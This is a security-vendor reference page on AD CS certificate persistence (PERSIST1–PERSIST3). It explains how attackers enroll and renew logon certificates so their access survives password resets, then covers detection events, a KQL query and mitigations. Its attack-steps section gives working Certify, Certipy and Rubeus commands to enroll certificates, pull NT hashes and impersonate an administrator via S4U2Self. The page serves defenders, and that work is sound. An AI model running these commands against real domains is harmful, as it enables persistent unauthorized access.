1. Resources
  2. Identity Threats
  3. Active Directory

AD CS Certificate Persistence (PERSIST1 to PERSIST3)

Also known as: PERSIST1, PERSIST2, PERSIST3, Certificate persistence, Account persistence via certificates, Certificate renewal persistence

An attacker with access to a user or computer enrolls a logon certificate for it through normal enrollment and keeps access through password resets, renewing it before it expires.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
High
Privileges required: Any authenticated identity
A session or credentials for the account to persist as, and its normal Enroll right on a client authentication template. Local administrator for a computer account.
What the attacker gains
A certificate that authenticates as the user or computer until it expires or is revoked, regardless of password changes, and that can be renewed for a further period.
Threat groups
APT29NIMBUS MANTICOREFIN13HAFNIUMLazarus GroupSalt TyphoonScattered SpiderTeamPCPVOID MANTICOREGroups that MITRE ATT&CK records using T1649, T1098, T1556.

How it works

In a domain with Active Directory Certificate Services, most accounts can obtain a logon certificate for themselves. The default User template grants Enroll to Domain Users and the default Machine template to Domain Computers; both carry the Client Authentication EKU and need no approval. The CA builds the subject from the requesting account, adds the account's SID in the security extension, and issues the certificate.

That certificate is a second credential for the account. It authenticates through PKINIT without the password, and the first logon also returns the account's NT hash to the holder. Nothing ties its life to the password: a reset, a forced change at next logon or a new Kerberos key leaves it valid. The Certified Pre-Owned research describes three ways to use this after an initial compromise:

  • PERSIST1, user certificate. The attacker has a session as a user, for example through phishing, without knowing the password. They enroll a client authentication certificate as that user and keep the private key.
  • PERSIST2, machine certificate. The attacker has administrative access to a computer. They enroll a machine certificate as its computer account. With it they can log on as the computer from anywhere and use S4U2Self to obtain a service ticket to that computer for any user, which gives back administrative access to the host whenever they want it.
  • PERSIST3, renewal. A template has a validity period and a renewal period; on the default User and Machine templates these are one year and six weeks. The holder of a certificate and its key can submit a renewal request signed with the existing certificate and receive a new one, without the account's password. Repeating this keeps the access alive for as long as the template stays published.

Because the certificate is issued to the right account with the right SID, strong certificate mapping accepts it. The techniques need no template flaw and no elevated rights in the domain.

Two related persistence techniques have their own pages. PERSIST4 plants a certificate mapping in the victim's altSecurityIdentities attribute and is covered under ESC14. PERSIST5 keeps an enrollment agent certificate to request certificates on behalf of others and is covered under ESC3. Stealing a certificate that already exists, instead of enrolling a new one, is on the certificate theft page.

Prerequisites

  • An enterprise CA and a published template that allows client authentication, with no manager approval or authorized signature requirement, on which the account can enroll.
  • PERSIST1: code execution in the user's logon session, or the user's credentials.
  • PERSIST2: local administrator or SYSTEM on the computer, or the computer account's credentials.
  • PERSIST3: the certificate and its private key, and a template that is still published and allows renewal.
  • Network access to the CA for enrollment and to a domain controller for later use.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find a template to enroll in

From the compromised session, Certify lists published templates that allow client authentication:

Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-admins

2. PERSIST1: enroll as the user

In the user's session, no credentials are needed:

Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template User

Certify prints the certificate and key as a base64 PFX. From Linux with the user's credentials:

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'User'

Later, from any host, the certificate yields a TGT and the current NT hash of the account, even after the password has changed:

Rubeus.exe asktgt /user:alice /certificate:<base64-pfx> /getcredentials
certipy auth -pfx 'alice.pfx' -dc-ip 192.0.2.10

3. PERSIST2: enroll as the computer

From an elevated prompt on the computer, Certify requests the certificate as SYSTEM:

Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template Machine --machine

To come back, request a TGT as the computer account and use S4U2Self for an administrator's ticket to the host:

Rubeus.exe asktgt /user:WS01$ /certificate:<base64-pfx> /nowrap
Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/WS01.corp.example.com /ticket:<base64-machine-tgt> /ptt

4. PERSIST3: renew before expiry

Certify signs a renewal request with the existing certificate:

Certify.exe request-renew --ca SRV01.corp.example.com\CORP-CA --cert-pfx <base64-pfx>

Certipy does the same with the -renew option and the existing PFX:

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'User' \
    -pfx 'alice.pfx' -renew -out 'alice_renewed.pfx'

On Windows, the built-in certreq -enroll command has a renew form for a certificate that is in the local store.

Impact

The attacker keeps the account. For a user that means everything the user can reach, plus the user's NT hash each time the certificate is used, so they also follow password changes for NTLM-based access. For a computer it means administrative access to that host on demand and whatever rights the computer account holds in the directory. Certificates for a machine identity such as a server or a domain controller are the most valuable.

The persistence defeats the most common incident response step. Teams reset the passwords of compromised accounts and consider them clean; the certificate enrolled during the compromise still works, for up to the template's validity period and longer with renewal. This is a form of credential theft in which the credential is minted for the attacker by the organization's own CA.

OPSEC and artifacts

  • Indistinguishable by design. The request comes from the right account, for a default template, with no supplied names. An operator who enrolls once and stores the PFX offline leaves the same trace as an ordinary enrollment by that account.
  • Still a database row. The CA records the request ID, requester, template, serial number and validity dates, and with auditing on it writes event 4886 and event 4887. The row is how responders later find and revoke the certificate.
  • A second certificate. Where autoenrollment is in use, the account already has a certificate from the template. A manual request produces an additional one with a different key, which shows up as two valid certificates for the same account and template.
  • Key location. Certify and Certipy generate the key themselves and hand back a PFX, so no key lands in the user's or machine's key store unless the operator installs it. Requesting through the Windows enrollment client does leave the certificate in the store.
  • Use after a password reset. Event 4768 records a certificate logon for the account, with the certificate's serial number, from wherever the operator is. A certificate logon shortly after a password reset (event 4724) for an account that normally uses passwords is the pattern.
  • S4U2Self for machine persistence. Event 4769 shows the computer account requesting a ticket to itself, followed by an administrator logon on that computer.
  • Renewal. A renewal is a new request and a new certificate with a new serial number, signed by the previous certificate. It appears in the database as another row for the same account.

Detection

  • Certificates issued during a compromise window. For every account in an incident, list what the CA issued to it:
certutil -view -restrict "RequesterName=CORP\alice" -out "RequestID,RequesterName,CertificateTemplate,SerialNumber,NotBefore,NotAfter"
  • Certificate logons by accounts that do not use certificates. Baseline which accounts authenticate with PKINIT. A user without a smart card, a server outside the network access control scope, or any privileged account appearing in 4768 with certificate fields needs an explanation. The NTLM relay rules include a computer account obtaining a TGT with a certificate.
  • Manual enrollment where autoenrollment is the norm. A second valid certificate for an account on the same template, or a request whose client information (RequestClientInfo in the newer version of event 4886) differs from that account's earlier requests.
  • Certificate use after a reset. Correlate the privileged account password reset rules with later certificate logons for the same account.
  • Related attribute changes. A mapping written to altSecurityIdentities is covered by the explicit certificate mapping rules.
// Accounts with a certificate logon within 7 days after an administrative password reset
let Resets = WindowsEvent
    | where EventID == 4724 and Provider == "Microsoft-Windows-Security-Auditing"
    | project ResetTime = TimeGenerated, Account = tolower(tostring(EventData.TargetUserName));
WindowsEvent
| where EventID == 4768 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Account = tolower(tostring(EventData.TargetUserName)),
         Serial = tostring(EventData.CertSerialNumber),
         Source = tostring(EventData.IpAddress)
| where isnotempty(Serial)
| join kind=inner Resets on Account
| where TimeGenerated between (ResetTime .. ResetTime + 7d)
| project TimeGenerated, Account, Source, Serial, ResetTime

The CA events need the Audit Certification Services subcategory and the CA audit filter; the audit policy guide covers the Kerberos events.

Mitigation

  • Make certificate revocation part of every account recovery. When an account is compromised, revoke all certificates issued to it since the start of the incident, publish a CRL, then reset the password. For computers, do the same and reset or rejoin the computer account.
  • Restrict enrollment to accounts that need certificates. Remove Domain Users and Domain Computers from templates that are not used, and unpublish them. An account that cannot enroll cannot persist this way.
  • Shorten validity on authentication templates, and review the renewal period, so a certificate obtained once does not last a year.
  • Require stronger issuance for privileged accounts. Tier 0 accounts should not be able to enroll in general-purpose templates. Use dedicated templates with manager approval for them.
  • Protect the sessions. PERSIST1 needs the user's session and PERSIST2 needs local administrator. The Tier 0 isolation and workstation controls in the Active Directory hardening guide reduce both.
  • Monitor issuance and certificate logons as described above, and keep the CA database long enough to answer what was issued to an account during an incident.

Detection rules for this attack

Log events to collect

FAQ

Why does a certificate survive a password reset?

A certificate and a password are separate credentials for the same account. Changing the password changes the Kerberos keys derived from it, but a certificate logon is validated against the CA's signature and the account mapping, neither of which depends on the password. The certificate works until it expires or the CA revokes it.

What are PERSIST1, PERSIST2 and PERSIST3?

Names from the Certified Pre-Owned research. PERSIST1 is a user certificate enrolled by an attacker who has that user's session. PERSIST2 is a machine certificate enrolled with administrative access to a computer. PERSIST3 is renewing either certificate before it expires to extend the access.

Is anything misconfigured when this works?

No. The default User and Machine templates allow client authentication and let every user and computer enroll for itself, without approval. The techniques use enrollment exactly as designed, which is why they are hard to tell from legitimate requests.

How do you remove this kind of persistence?

Revoke every certificate issued to the affected account during the compromise window, publish a new CRL, and only then reset the password. For a computer, also reset the computer account. Then check the account for explicit mappings in altSecurityIdentities and for key credentials, which are separate persistence methods.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.